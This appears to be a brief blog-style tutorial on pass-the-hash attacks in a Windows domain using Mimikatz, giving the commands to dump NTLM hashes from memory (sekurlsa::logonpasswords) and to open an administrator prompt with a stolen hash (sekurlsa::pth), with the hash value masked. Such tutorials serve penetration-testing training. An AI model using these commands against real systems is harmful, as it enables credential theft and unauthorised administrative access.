Pass The Hash Attack With Mimikatz

Pass The Hash With Mimikatz

Pass the Hash attack is  when the attacker can authenticate without clear text password. similiar to pass the ticket but in pass the hash attack our access is not limited to 10 hours.

with mimikatz attacker can get the target user Hash and authenticate with the Hash.

1.first lets start mimikatz and eleveate privileges with the command privilege::debug and extrating NTLM and Hashes with sekurlsa::logonpasswords

2.Then lets execute the attack with the command

sekurlsa::pth /user:administrator /domain:lorenzodomain.local /ntlm:********************************************

and well here is an administrator command prompt that we pwned with the hash we extract before. 🙂